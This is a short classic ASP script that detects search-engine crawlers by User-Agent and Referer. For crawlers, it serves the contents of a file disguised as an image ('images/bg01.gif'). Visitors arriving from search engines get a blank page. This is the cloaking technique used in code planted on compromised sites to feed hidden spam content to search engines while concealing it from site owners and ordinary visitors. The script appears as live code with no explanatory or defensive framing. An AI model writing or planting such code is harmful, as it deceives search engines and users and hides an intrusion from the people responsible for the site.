<% function isspider() dim i,agent,searray agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","baiduspider","sogouspider","yahoo","Sosospider") isspider= false for i=0 to ubound(searray) if (instr(agent,searray(i))>0) then isspider=true next end function function fromse() dim urlrefer,searray,i urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER")) fromse= false if urlrefer="" then fromse= false searray=array("google","baidu","sogou","yahoo","soso") for i=0 to ubound(searray) if (instr(urlrefer,searray(i))>0) then fromse=true next end function if(isspider()) then dim myfso,fileurl,filecon,myfile fileurl=Server.MapPath("images/bg01.gif") Set myfso=Server.CreateObject("Scripting.FileSystemObject") if myfso.FileExists(fileurl) then Set myfile=myfso.OpenTextFile(fileurl, 1) filecon=myfile.readAll response.write(filecon) myfile.Close Set myfile=Nothing Set myfso=Nothing response.end end if end if if (fromse()) then response.write("<br/>") response.end else end if %>
